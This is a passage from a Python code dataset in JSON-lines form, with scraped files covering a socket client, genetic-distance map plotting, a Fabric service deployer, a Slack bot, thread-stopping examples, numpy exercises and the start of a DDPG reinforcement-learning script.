list(data_dict.values())})\r\n","sub_path":"web/views/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":2761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"415712063","text":"import  socket\n\nclient=socket.socket()\nclient.connect(('localhost',9999))\nwhile True:\n    content=input(\"请输入要发送的内容:\")\n    if content.__len__()==0:\n        continue\n    client.send(content.encode())\n    data=client.recv(1024)\n    print(data.decode())\n\nclient.close()\n\n\n#recy： 官方建议接受最大值不超过8192bytes\n#send:只是把要发送的数据塞进缓冲区，并不是就直接发送出去了，如果数据过大这时候再次send会发送之前没有发送完的数据，\n","sub_path":"day10/socket_client.py","file_name":"socket_client.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"530633839","text":"\"\"\"\nRead a cophenetic matrix to plot the distances. You can make the matrix using ete3 and tree_to_cophenetic_matrix.py\n\"\"\"\n\nimport os\nimport sys\nimport argparse\n\nimport gzip\n\nimport matplotlib.pyplot as plt\n# set the figure size. This should be in inches?\nplt.rcParams[\"figure.figsize\"] = (22,16) # default: 22,16; for large use 88, 64\nimport matplotlib.colors as colors\nimport matplotlib.cm as cmx\nfrom matplotlib.patches import Circle\n\nimport math\n\nimport cartopy.crs as ccrs\nimport re\n\ndef get_lon_lat(idf, maxtoget=50000):\n    \"\"\"\n    Get the longitude and latitude of different ids. Note that we have longitude first to work with cartopy\n    :param idf: the id.map file\n    :param maxtoget: the maxiumum number of ids to get. This is just for debugging\n    :return:\n    \"\"\"\n    lonlat = {}\n    count = 0\n    global verbose\n    with open(idf, 'r') as fin:\n        for l in fin:\n            if count > maxtoget:\n                break\n            count+=1\n            s=re.search('latitude=(\\S+)\\]', l)\n            if not s:\n                sys.stderr.write(\"No latitude in {}\".format(l))\n                continue\n            lat=s.group(1)\n\n            s = re.search('longitude=(\\S+)\\]', l)\n            if not s:\n                sys.stderr.write(\"No longitude in {}\".format(l))\n                continue\n            lon = s.group(1)\n            p=l.split(\"\\t\")\n\n            try:\n                lat = float(lat)\n                lon = float(lon)\n            except:\n                sys.stderr.write(\"There was an error parsing the latitude and longitude from {}\\n\".format(l))\n                continue\n\n            lonlat[p[0]] = (lon, lat)\n            newname = p[0].replace('|', '_')\n            lonlat[newname] = (lon, lat)\n    return lonlat\n\ndef latlon2distance(lat1, long1, lat2, long2, miles=False):\n    \"\"\"Convert two coordinates to distance.\n\n    This is an approximation since the earth is not spherical, but accuracy is <100m, especially for close points\n\n    This code was taken from http://www.johndcook.com/python_longitude_latitude.html\n\n    Latitude is measured in degrees north of the equator; southern locations have negative latitude.\n    Similarly, longitude is measured in degrees east of the Prime Meridian. A location 10deg west of\n    the Prime Meridian, for example, could be expressed as either 350deg  east or as -10deg east.\n\n    Arguments: lat1, long1; lat2, long2; miles is a boolean. If you want miles set it to true. Else set it to false\n\n    \"\"\"\n    global verbose\n\n    if lat1 == lat2 and long1 == long2:\n        return 0\n\n\n    # Convert latitude and longitude to\n    # spherical coordinates in radians.\n    degrees_to_radians = math.pi / 180.0\n\n    # phi = 90 - latitude\n    phi1 = (90.0 - lat1) * degrees_to_radians\n    phi2 = (90.0 - lat2) * degrees_to_radians\n\n    # theta = longitude\n    theta1 = long1 * degrees_to_radians\n    theta2 = long2 * degrees_to_radians\n\n    # Compute spherical distance from spherical coordinates.\n\n    # For two locations in spherical coordinates\n    # (1, theta, phi) and (1, theta, phi)\n    # cosine( arc length ) =\n    #    sin phi sin phi' cos(theta-theta') + cos phi cos phi'\n    # distance = rho * arc length\n\n    cos = (math.sin(phi1) * math.sin(phi2) * math.cos(theta1 - theta2) + math.cos(phi1) * math.cos(phi2))\n    try:\n        arc = math.acos(cos)\n    except Exception as err:\n        sys.stderr.write(\"There was an err: {} trying to take the acos of ({})\\n\".format(err, cos))\n        arc=0\n    # Remember to multiply arc by the radius of the earth\n    # in your favorite set of units to get length.\n    #\n    # To convert to miles multiple arc by 3960\n    # To convert to kilometers multiply arc by 6373\n\n    if miles:\n        arc *= 3960\n    else:\n        arc *= 6373\n\n    return arc\n\n\ndef closest_dna_dist(matrixfile):\n    \"\"\"\n    Read the matrix file and get the id of the point with the closest distance that is not ourself\n    :param treefile: The cophenetic matrix file to read\n    :return: a dict of a node and its closest leaf\n    \"\"\"\n\n    global verbose\n    if verbose:\n        sys.stderr.write(\"Getting closest distances\\n\")\n    distances = {}\n\n    if matrixfile.endswith('.gz'):\n        with gzip.open(matrixfile, 'rt') as f:\n            l = f.readline()\n            ids = l.rstrip().split(\"\\t\")\n            for i,name in enumerate(ids):\n                if i == 0:\n                    continue\n                distances[name] = {}\n            for l in f:\n                data = l.rstrip().split(\"\\t\")\n                for i,dist in enumerate(data):\n                    if i == 0:\n                        continue\n                    distances[data[0]][ids[i]] = float(dist)\n                    distances[ids[i]][data[0]] = float(dist)\n    else:\n        with open(matrixfile, 'r') as f:\n            l = f.readline()\n            ids = l.rstrip().split(\"\\t\")\n            for i,name in enumerate(ids):\n                if i == 0:\n                    continue\n                distances[name] = {}\n            for l in f:\n                data = l.rstrip().split(\"\\t\")\n                for i,dist in enumerate(data):\n                    if i == 0:\n                        continue\n                    distances[data[0]][ids[i]] = float(dist)\n                    distances[ids[i]][data[0]] = float(dist)\n\n\n    closest = {}\n    for d in distances:\n        closest[d] = {}\n        for k in sorted(distances[d], key=distances[d].get):\n            if k == d:\n                continue\n            closest[d][k] = distances[d][k]\n            break\n    if verbose:\n        sys.stderr.write(\"From\\tTo\\tDistance\\n\")\n        for d in distances:\n            for k in closest[d]:\n                sys.stderr.write(\"{}\\t{}\\t{}\\n\".format(d, k, closest[d][k]))\n\n\n    if verbose:\n        sys.stderr.write(\"\\n\\n\\nDone\\n\")\n    return closest\n\ndef plotmap(ll, dd, outputfile, alpha, linewidth=1, bounds=None, maxdist=1, maxlinewidth=6):\n    \"\"\"\n    Plot the map of the dna distances and lat longs\n    :param ll: The lon-lats\n    :param dd: The distances to use\n    :param outputfile: The file name to write the image to\n    :param bounds: the boundary for the lat long as a 4-ple array\n    :param maxdist: The maximum distance that we will scale to be maxlinewidth\n    :return:\n    \"\"\"\n    global verbose\n\n    ax = plt.axes(projection=ccrs.Robinson())\n\n    # make the map global rather than have it zoom in to\n    # the extents of any plotted data\n    if not bounds:\n        ax.set_global()\n\n    ax.stock_img()\n    ax.coastlines()\n\n    ## color the lines based on the maximum distance value\n    jet = cm = plt.get_cmap('jet')\n    cNorm = colors.Normalize(vmin=0, vmax=maxdist)\n    scalarMap = cmx.ScalarMappable(norm=cNorm, cmap=jet)\n\n    # Using contourf to provide my colorbar info, then clearing the figure\n    Z = [[0, 0], [0, 0]]\n    levels = range(0, int(100 * maxdist) + 10, 10)\n    CS3 = plt.contourf(Z, levels, cmap=jet)\n#    plt.clf()\n\n\n\n\n    # NOTE: longitude before latitude!!\n    # plt.plot([sdlon, brislon], [sdlat, brislat], color='blue', linewidth=2,  transform=ccrs.Geodetic())\n\n    # plot the circles for each sample site\n    # markerfacecolor=\"None\",\n\n    for lonlat in ll.values():\n        if bounds and ((lonlat[1] < bounds[0] or lonlat[1] > bounds[2]) or (lonlat[0] < bounds[1] or lonlat[0] > bounds[3])):\n            if verbose:\n                sys.stderr.write(\"Not in bounding box: {}\\n\".format(lonlat))\n            continue\n        if verbose:\n            sys.stderr.write(\"Kept location: {}\\n\".format(lonlat))\n        plt.plot(lonlat[0], lonlat[1], 'o', color='Black', alpha=alpha, markersize=10, transform=ccrs.PlateCarree())\n\n    for idx1 in dd:\n        for idx2 in dd[idx1]:\n            # this should only happen when we do best DNA distances\n            if idx1 not in ll:\n                sys.stderr.write(\"NO Lat/Lon for {}\\n\".format(idx1))\n                continue\n            if idx2 not in ll:\n                sys.stderr.write(\"NO Lat/Lon for {}\\n\".format(idx2))\n                continue\n\n\n            if bounds and ((ll[idx1][1] < bounds[0] or ll[idx1][1] > bounds[2]) or (ll[idx1][0] < bounds[1] or ll[idx1][0] > bounds[3])):\n                if verbose:\n                    sys.stderr.write(\"{} out of bounds. Skipped\\n\".format(idx1))\n                continue\n\n            if bounds and ((ll[idx2][1] < bounds[0] or ll[idx2][1] > bounds[2]) or (ll[idx2][0] < bounds[1] or ll[idx2][0] > bounds[3])):\n                if verbose:\n                    sys.stderr.write(\"{} out of bounds. Skipped\\n\".format(idx2))\n                continue\n\n            if linewidth == 0:\n                linewidth = dd[idx1][idx2]\n                linewidth = (linewidth/maxdist) * maxlinewidth\n\n            if verbose:\n                sys.stderr.write(\"{} to {}: distance: {} km. Genetic distance {}. Line width {}\\n\".format(\n                    idx1, idx2, latlon2distance(ll[idx1][1], ll[idx1][0], ll[idx2][1], ll[idx2][0]), dd[idx1][idx2], linewidth))\n\n\n            #colorVal = scalarMap.to_rgba(dd[idx1][idx2])\n\n            if latlon2distance(ll[idx1][1], ll[idx1][0], ll[idx2][1], ll[idx2][0]) < 100:\n                if verbose:\n                    sys.stderr.write(\"Adding a circle for {} and {}\\n\".format(ll[idx1][0], ll[idx1][1]))\n                # add a red circle for this object.\n                # we need to use some simple trig to find the center of the circle whose point on the circumference\n                # is at our lat lon\n                radius = 3\n                if bounds:\n                    radius = 1.5\n                circlon = ll[idx1][0] - (radius * math.sin(2 * math.pi))\n                circlat = ll[idx1][1] - (radius * math.cos(2 * math.pi))\n\n                circ = Circle((circlon, circlat), transform=ccrs.Geodetic(), radius=radius,\n                                     linewidth=linewidth, alpha=alpha, color='red', fill=False)\n                ax.add_artist(circ)\n            else:\n                # plot a red line between two points\n                plt.plot([ll[idx1][0], ll[idx2][0]], [ll[idx1][1], ll[idx2][1]], color='Red', linewidth=linewidth,\n                         alpha=alpha, transform=ccrs.Geodetic())\n\n    #    plt.colorbar(CS3)\n\n    #plt.show()\n    plt.savefig(outputfile)\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description='Plot a map using ete and lat lon')\n    parser.add_argument('-i', help='id.map file with lat/lon information', required=True)\n    parser.add_argument('-m', help='cophenetic map file with same ids as id.map', required=True)\n    parser.add_argument('-o', help='output file name', required=True)\n    parser.add_argument('-a', help='alpha level for lines. Default=0.25', type=float, default=0.25)\n    parser.add_argument('-l', help='linewidth for the red lines connecting similar sites', default=1, type=float)\n    parser.add_argument('-b', help='geographic bounds. Use top left, bottom right. e.g. 75,35:35,-25')\n    parser.add_argument('-v', help='verbose output', action='store_true')\n    args = parser.parse_args()\n\n    global verbose\n    verbose = False\n    if args.v:\n        verbose = True\n\n    bounds = None\n    if args.b:\n        ll = args.b.split(\":\")\n        topleft = ll[0].split(\",\")\n        bottomright = ll[1].split(\",\")\n        try:\n            bounds=[int(topleft[0]), int(topleft[1]), int(bottomright[0]), int(bottomright[1])]\n            if bounds[0] > bounds[2]:\n                (bounds[0], bounds[2])=(bounds[2], bounds[0])\n            if bounds[1] > bounds[3]:\n                (bounds[1], bounds[3])=(bounds[3], bounds[1])\n        except:\n            sys.stderr.write(\"There was an error parsing integers from {}. Please do not include N/E/S/W, just +/- ints\\n\".format(args.b))\n            sys.exit()\n\n    lonlat = get_lon_lat(args.i)\n    # dist = best_dna_dist(get_dna_distance(args.t))\n    dist = closest_dna_dist(args.m)\n    plotmap(lonlat, dist, args.o, args.a, linewidth=args.l, bounds=bounds)","sub_path":"bin/matrix2map.py","file_name":"matrix2map.py","file_ext":"py","file_size_in_byte":11894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"102994221","text":"from cStringIO import StringIO\n\nfrom fabric.api import settings, run, put\n\nfrom braid import tasks, users, venv\n\nfrom twisted.python.filepath import FilePath\n\n\nTASK_PREFIX = 'task_'\n\n\ndef _stripPrefix(f):\n    \"\"\"\n    Get the unprefixed name of C{f}.\n    \"\"\"\n    return f.__name__[len(TASK_PREFIX):]\n\n\nclass Service(tasks.Service):\n\n    python = \"pypy\"\n    runDir = '~/run'\n    logDir = '~/log'\n    configDir = '~/config'\n    binDir = '~/bin'\n\n    def __init__(self, serviceName):\n        self.serviceName = serviceName\n        self.serviceUser = serviceName\n\n        self.venv = venv.VirtualEnvironment(user=self.serviceUser,\n                                            python=self.python)\n\n\n    def _generateReadme(self):\n        \"\"\"\n        Generate a generic readme from the tasks available.\n        \"\"\"\n        # FIXME: Clean this up\n        # https://github.com/twisted-infra/braid/issues/7\n        readmeFile = FilePath(__file__).sibling('README')\n        readmeContext = {}\n        for key in ['configDir', 'runDir', 'logDir', 'binDir', 'serviceName']:\n            readmeContext[key] = getattr(self, key)\n        tasks = self.getTasks().itervalues()\n        tasks = [(t.name, t.__doc__.strip().splitlines()[0]) for t in tasks]\n        tasks = [' - {}: {}'.format(*t) for t in tasks]\n        readmeContext['tasks'] = '\\n'.join(tasks)\n        return readmeFile.getContent().format(**readmeContext)\n\n    def bootstrap(self, venv_site_packages=False):\n        # Create the user only if it does not already exist\n        users.createService(self.serviceUser)\n\n        with settings(user=self.serviceUser):\n\n            # Create a virtualenv in the service user's folder\n            # It'll be a PyPy venv by default, unless self.python is changed\n            self.venv.create(site_packages=venv_site_packages)\n\n            # Create base directory setup\n            run('/bin/mkdir -p {} {} {} {}'.format(\n                self.runDir,\n                self.logDir,\n                self.binDir,\n                self.configDir,\n                ))\n\n            # Create stop script\n            stopFile = FilePath(__file__).sibling('stop')\n            put(stopFile.path, '{}/stop'.format(self.binDir), mode=0o755)\n\n            readme = self._generateReadme()\n            put(StringIO(readme), 'README')\n\n    def task_start(self):\n        \"\"\"\n        Stop the service\n        \"\"\"\n        with settings(user=self.serviceUser):\n            run('{}/start'.format(self.binDir), pty=False)\n\n    def task_stop(self):\n        \"\"\"\n        Stop the service.\n        \"\"\"\n        with settings(user=self.serviceUser):\n            run('{}/stop'.format(self.binDir))\n\n    def task_restart(self):\n        \"\"\"\n        Restart the service.\n        \"\"\"\n        with settings(warn_only=True):\n            self.task_stop()\n        self.task_start()\n\n    def task_log(self, n=20):\n        \"\"\"\n        Tail the log of the service.\n        \"\"\"\n        with settings(user=self.serviceUser):\n            run('/usr/bin/tail -f -n {} {}/twistd.log'.format(n, self.logDir))\n","sub_path":"braid/twisted/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":3043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"240755444","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def maxPathSum(self, root: TreeNode) -> int:\n        ans = -float('inf')\n        def rec(root):\n            nonlocal ans\n            if not root: return 0\n            left = max(0, rec(root.left))\n            right = max(0, rec(root.right))\n            ans = max(ans, left+right+root.val)\n            return max(left+root.val, right+root.val)\n        rec(root)\n        return ans\n            ","sub_path":"124.py","file_name":"124.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"257596177","text":"\ndef josephus(n, k):\n    # n: n people to be executed\n    # k: k-1 ppl are skip and k are executed\n    if n == 1:\n        return 1\n    else:\n        return (josephus(n - 1, k) + k - 1) % n + 1\n\nprint(josephus(5, 3))","sub_path":"classic_question/josephus_circle.py","file_name":"josephus_circle.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"539494337","text":"# Fibonacci Generator\n\ndef fib_generator(num):\n  a = 0\n  b = 1\n  for i in range(num):\n    yield a\n    # the value of \"a\" now changes to \"a\" + \"b\" and the value of \"b\" changes to the value \"a\" was\n    a, b = a + b, a\n\n# for i in fib_generator(1000):\n#   print(i)\n","sub_path":"python/fibonacci_generator.py","file_name":"fibonacci_generator.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"611623216","text":"import json\nimport logging\nimport re\n\nlogger = logging.getLogger(__name__)\ncsRegStr4Hash = '\\B(?P<Type>[\\@\\#\\$\\%\\&])(?P<Text>\\S+)'\n\n\ndef FindHashes(srcStr, RegStr):\n  #\\B(?P<Type>[\\@\\#\\$\\%\\&])(?P<Text>\\S+)\n  regex = r'' +RegStr\n  matches = re.finditer(regex, srcStr, re.IGNORECASE | re.UNICODE) #\n  plain = []\n  for matchNum, match in enumerate(matches):\n    agr = match.groups()\n    k = agr[0]\n    word = agr[1]\n    plain.append({k: word})\n  if (len(plain) > 0):\n    return plain\n  return None\n\n\ndef Split_CMD(SrcMessage):\n  if (SrcMessage.startswith('mcc')):\n    if (SrcMessage.startswith('mcc?')):\n      return {\"cmd\":\"lst\"}\n    if (SrcMessage.startswith('mcc+')):\n      return {\"cmd\":\"add\"}\n    if (SrcMessage.startswith('mcc-')):\n      return {\"cmd\":\"del\"}\n      \n  if (SrcMessage.startswith('sms:')):\n    hashes = FindHashes(SrcMessage, csRegStr4Hash)\n    if (hashes):\n      return {\"cmd\":\"sms\", 'hashes': hashes}\n    else:\n      return {\"cmd\":\"sms\", 'hashes': None}\n \n  return None;\n\n\nclass RtmEventHandler(object):\n    def __init__(self, slack_clients, msg_writer):\n        self.clients = slack_clients\n        self.msg_writer = msg_writer\n        self.log = {};\n\n    def handle(self, event):\n\n        if 'type' in event:\n            self._handle_by_type(event['type'], event)\n\n    def _handle_by_type(self, event_type, event):\n        # See https://api.slack.com/rtm for a full list of events        \n        if event_type == 'error':\n            # error\n            self.msg_writer.write_error(event['channel'], json.dumps(event))\n        elif event_type == 'message':\n            # message was sent to channel\n            self._handle_message(event)\n        elif event_type == 'channel_joined':\n            # you joined a channel\n            self.msg_writer.write_help_message(event['channel'])\n        elif event_type == 'group_joined':\n            # you joined a private group\n            self.msg_writer.write_help_message(event['channel'])\n        else:\n            pass\n\n    def _handle_message(self, event):\n        # Filter out messages from the bot itself, and from non-users (eg. webhooks)\n        \n        #if event['team'] not in self.log:\n        #    self.log[str(event['team'])] ={}\n        #self.log[str(event['team'])][str(event['user'])] = event\n        \n        if ('user' in event) and (not self.clients.is_message_from_me(event['user'])):\n\n            msg_txt = event['text']\n\n            if self.clients.is_bot_mention(msg_txt) or self._is_direct_message(event['channel']):\n                # e.g. user typed: \"@pybot tell me a joke!\"\n                MCC = Split_CMD(msg_txt)\n                if MCC:\n                    self.msg_writer.send_message(event['channel'], 'This is my message! '+json.dumps(MCC))\n                elif '?' == msg_txt:\n                    self.msg_writer.send_message(event['channel'], json.dumps(event)+'\\n'+json.dumps(self.log))\n                elif 'help' in msg_txt:\n                    self.msg_writer.write_help_message(event['channel'])\n                elif re.search('hi|hey|hello|howdy', msg_txt):\n                    self.msg_writer.write_greeting(event['channel'], event['user'])\n                elif 'joke' in msg_txt:\n                    self.msg_writer.write_joke(event['channel'])\n                elif 'attachment' in msg_txt:\n                    self.msg_writer.demo_attachment(event['channel'])\n                elif 'echo' in msg_txt:\n                    self.msg_writer.send_message(event['channel'], msg_txt)\n                else:\n                    self.msg_writer.write_prompt(event['channel'])\n\n    def _is_direct_message(self, channel):\n        \"\"\"Check if channel is a direct message channel\n\n        Args:\n            channel (str): Channel in which a message was received\n        \"\"\"\n        return channel.startswith('D')\n","sub_path":"bot/event_handler.py","file_name":"event_handler.py","file_ext":"py","file_size_in_byte":3806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"43840162","text":"\"\"\"\n强制结束线程方法：\n1> 使用stop_thread函数关闭指定的单个线程\n2> 设置当前函数为守护进程，函数结束后会关闭所有的子线程 --> Set daemon=True\n\"\"\"\n# -*- coding:utf-8 -*-\nimport threading\nimport time\nimport inspect\nimport ctypes\n\n\ndef stop_thread(tid, exctype=SystemExit):\n    tid = ctypes.c_long(tid.ident)\n    if not inspect.isclass(exctype):\n        exctype = type(exctype)\n    res = ctypes.pythonapi.PyThreadState_SetAsyncExc(tid, ctypes.py_object(exctype))\n    if res == 0:\n        raise ValueError(\"Invalid thread id\")\n    elif res != 1:\n        ctypes.pythonapi.PyThreadState_SetAsyncExc(tid, None)\n        raise SystemError(\"PyThreadState_SetAsyncExc failed\")\n\n\ndef use_stop_thread_function():\n    def test_1():\n        while True:\n            print('-------')\n            time.sleep(1)\n\n    print('Use stop thread function')\n    t = threading.Thread(target=test_1)\n    t.start()\n    time.sleep(5)\n    stop_thread(tid=t)\n    print('Threads have been stopped')\n\n\nclass UseDaemonFunction(object):\n\n    def test_2(self, times):\n        time.sleep(times)\n        print('times: {}'.format(times))\n\n    def main(self):\n        # 设置主线程\n        self.threads = threading.Thread(target=self._main, args=())\n        self.threads.start()\n\n    def _main(self):\n        print('Use daemon function')\n        threads = []\n        for i in range(20):\n            # 开启20个子线程\n            t = threading.Thread(target=self.test_2, args=(i, ))\n            t.daemon = True  # 设置当前函数为守护进程\n            threads.append(t)\n\n        for i in threads:\n            i.start()\n\n        for i in threads:\n            i.join()\n        print('Threads have been stopped')\n\n\nif __name__ == \"__main__\":\n    # use_stop_thread_function()\n    # ————分割线————\n    use_daemon_funcion = UseDaemonFunction()\n    use_daemon_funcion.main()  # 执行20个子线程\n\n    time.sleep(5)\n    # 杀死主线程，所有的子线程都会被关闭\n    stop_thread(tid=use_daemon_funcion.threads)\n    print('All done')\n","sub_path":"python_learning/python_examples/function_module_example/multi_thread_sample/force_stop_thread_sample.py","file_name":"force_stop_thread_sample.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"73364239","text":"\r\n\r\na=3\r\nb=4\r\nc=a+b\r\nprint(c)\r\nimport pandas as pd\r\nimport numpy as np\r\nmystring=\"hello world\"\r\nlen(mystring)\r\nmystring[1]\r\nmystring[0]\r\nmystring[5:10]\r\nmystring[:7]\r\nmystring[3:]\r\nexample=mystring[:5]\r\n\r\n\r\n#tupple\r\n\r\nmytuple=(11,12,13)\r\nmytuple+=(44,)\r\n\r\nimport numpy as np\r\nnp.mean(mytuple)\r\nnp.median(mytuple)\r\ntuple=sorted(mytuple)\r\n\r\n\r\n#definition\r\n\r\ndef area_volume_of_cube(sidelength):\r\n    area=6*sidelength*sidelength\r\n    volume=sidelength*sidelength*sidelength\r\n    return area,volume\r\narea_volume_of_cube(6)\r\n\r\ndef simple_interest(principal,years,rate):\r\n    si=(principal*years*rate)/100\r\n    return si\r\nsimple_interest(1000,2,0.10)\r\n\r\ndef compound_interest(principal,rate,years):\r\n    ci=principal*(pow((1+rate/100),years))\r\n    return ci\r\ncompound_interest(1000,0.10,2)\r\n\r\n#tuple\r\n\r\nmytuple=(1,3,4,True,\"hello\")\r\n\r\n\r\n#dictionaries\r\n\r\nnumerictoroman={1:\"i\",2:\"ii\",3:\"iii\",4:\"iv\",5:\"v\"}\r\nnumerictoroman[2]\r\nnumerictoroman[6]=\"vi\"\r\nnumerictoroman[3]=\"iiii\"\r\n\r\nages={\"vishnu\":24,\"muruga\":25}\r\nsaved=ages\r\nages[\"vishnu\"]=25\r\n\r\nnumerictoroman.items()\r\nages.keys()\r\nages.values() \r\n\r\nages.pop(\"vishnu\")  \r\nnumerictoroman.popitem()\r\n\r\n#aliases\r\n\r\na=[1,2,True,\"eat\"] \r\nb=a\r\na[1]=3\r\n\r\ncset={11,11,22}\r\ncset\r\naset={11,22,33}\r\nbset=aset\r\n\r\naset={11,22,33}\r\nbset={11,22,33,44}\r\naset|bset\r\naset&bset\r\n\r\naset={11,22,33}\r\nbset={12,23,33}\r\naset-bset\r\naset^bset\r\n\r\n#numpy\r\n\r\nimport numpy as np\r\ndata1=[[1,2,3,4],[6,7,8,9]]\r\nar1=np.array(data1)\r\nar1.ndim\r\nar1.shape\r\nnp.zeros((3,4))\r\nnp.random.randn(3,5)\r\nnp.arange(27).reshape(3,3,3)\r\narr=np.arange(15)\r\narr[4:7]\r\narr=np.random.randn(3,5)\r\narr_tarns=arr.T\r\nrandom_array=np.dot(arr,arr_tarns)\r\narr1=np.arange(6).reshape(2,3)\r\narr2=np.arange(6).reshape(3,2)\r\narr_random=np.dot(arr1,arr2)\r\n\r\narr3=[1,2,3]\r\narr4=[4,1,2]\r\nnp.greater_equal(arr3,arr4)\r\n\r\nx1=[True,True,False,True]\r\nx2=[True,False,False,False]\r\nnp.logical_and(x1,x2)\r\nnp.mean(arr3)\r\n\r\narr5=np.array([[1,2,3],[4,5,6]])\r\n\r\nx=np.random.random(10)\r\ny=np.random.random(10)\r\nz=np.random.random(10)\r\napple=np.array(zip(x,y,z))\r\n\r\nvishnu=np.array([[1,2,3],[4,5,6]])\r\nmuruga=np.zeros((2,1))\r\nnp.append(vishnu,muruga,axis=1)","sub_path":"temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"418133631","text":"import time\n\nfrom baselines.ddpg.ddpg_learner import DDPG\nfrom baselines.ddpg.models import Actor, Critic\nfrom baselines.ddpg.memory import Memory\nfrom baselines.ddpg.noise import AdaptiveParamNoiseSpec, NormalActionNoise, OrnsteinUhlenbeckActionNoise\nfrom baselines.deepq.assembly.Env_robot_control import env_search_control\n\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom sklearn.gaussian_process.kernels import RBF, ConstantKernel\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.neural_network import MLPRegressor\n\nimport baselines.common.tf_util as U\n\nfrom baselines import logger\nimport numpy as np\nimport copy as cp\n\n\ndef learn(network,\n          env,\n          data_path='',\n          model_path='./model/',\n          model_name='ddpg_none_fuzzy_150',\n          file_name='test',\n          model_based=False,\n          memory_extend=False,\n          model_type='linear',\n          restore=False,\n          dyna_learning=False,\n          seed=None,\n          nb_epochs=5,   # with default settings, perform 1M steps total\n          nb_sample_cycle=5,\n          nb_epoch_cycles=150,\n          nb_rollout_steps=400,\n          nb_model_learning=10,\n          nb_sample_steps=50,\n          nb_samples_extend=5,\n          reward_scale=1.0,\n          noise_type='normal_0.2',  #'adaptive-param_0.2',  ou_0.2, normal_0.2\n          normalize_returns=False,\n          normalize_observations=True,\n          critic_l2_reg=1e-2,\n          actor_lr=1e-4,\n          critic_lr=1e-3,\n          popart=False,\n          gamma=0.99,\n          clip_norm=None,\n          nb_train_steps=50,  # per epoch cycle and MPI worker,\n          batch_size=32,  # per MPI worker\n          tau=0.01,\n          param_noise_adaption_interval=50,\n          **network_kwargs):\n\n    nb_actions = env.action_space.shape[0]\n    memory = Memory(limit=int(1e5), action_shape=env.action_space.shape[0], observation_shape=env.observation_space.shape)\n\n    if model_based:\n        \"\"\" store fake_data\"\"\"\n        fake_memory = Memory(limit=int(1e5), action_shape=env.action_space.shape[0], observation_shape=env.observation_space.shape)\n\n        \"\"\" select model or not \"\"\"\n        if model_type == 'gp':\n            kernel = ConstantKernel(1.0, (1e-3, 1e3)) * RBF(10, (1e-2, 1e2))\n            dynamic_model = GaussianProcessRegressor(kernel=kernel)\n            reward_model = GaussianProcessRegressor(kernel=kernel)\n        elif model_type == 'linear':\n            dynamic_model = LinearRegression()\n            reward_model = LinearRegression()\n        elif model_type == 'mlp':\n            dynamic_model = MLPRegressor(hidden_layer_sizes=(100, ), activation='relu', solver='adam',\n                                         alpha=0.0001, batch_size='auto', learning_rate='constant', learning_rate_init=0.001, power_t=0.5,\n                                         max_iter=200, shuffle=True, random_state=None, tol=0.0001, verbose=False, warm_start=False, momentum=0.9,\n                                         nesterovs_momentum=True, early_stopping=False, validation_fraction=0.1, beta_1=0.9, beta_2=0.999,\n                                         epsilon=1e-08)\n            reward_model = MLPRegressor(hidden_layer_sizes=(100, ), activation='relu', solver='adam',\n                                         alpha=0.0001, batch_size='auto', learning_rate='constant', learning_rate_init=0.001, power_t=0.5,\n                                         max_iter=200, shuffle=True, random_state=None, tol=0.0001, verbose=False, warm_start=False, momentum=0.9,\n                                         nesterovs_momentum=True, early_stopping=False, validation_fraction=0.1, beta_1=0.9, beta_2=0.999,\n                                         epsilon=1e-08)\n        else:\n            logger.info(\"You need to give the model_type to fit the dynamic and reward!!!\")\n\n    critic = Critic(network=network, **network_kwargs)\n    actor = Actor(nb_actions, network=network, **network_kwargs)\n\n    \"\"\" set noise \"\"\"\n    action_noise = None\n    param_noise = None\n\n    if noise_type is not None:\n        for current_noise_type in noise_type.split(','):\n            current_noise_type = current_noise_type.strip()\n            if current_noise_type == 'none':\n                pass\n            elif 'adaptive-param' in current_noise_type:\n                _, stddev = current_noise_type.split('_')\n                param_noise = AdaptiveParamNoiseSpec(initial_stddev=float(stddev), desired_action_stddev=float(stddev))\n            elif 'normal' in current_noise_type:\n                _, stddev = current_noise_type.split('_')\n                action_noise = NormalActionNoise(mu=np.zeros(nb_actions), sigma=float(stddev) * np.ones(nb_actions))\n            elif 'ou' in current_noise_type:\n                _, stddev = current_noise_type.split('_')\n                action_noise = OrnsteinUhlenbeckActionNoise(mu=np.zeros(nb_actions), sigma=float(stddev) * np.ones(nb_actions))\n            else:\n                raise RuntimeError('unknown noise type \"{}\"'.format(current_noise_type))\n\n    \"\"\"action scale\"\"\"\n    max_action = env.action_high_bound\n    logger.info('scaling actions by {} before executing in env'.format(max_action))\n\n    \"\"\" agent ddpg \"\"\"\n    agent = DDPG(actor, critic, memory, env.observation_space.shape, env.action_space.shape[0],\n        gamma=gamma, tau=tau, normalize_returns=normalize_returns, normalize_observations=normalize_observations,\n        batch_size=batch_size, action_noise=action_noise, param_noise=param_noise, critic_l2_reg=critic_l2_reg,\n        actor_lr=actor_lr, critic_lr=critic_lr, enable_popart=popart, clip_norm=clip_norm, 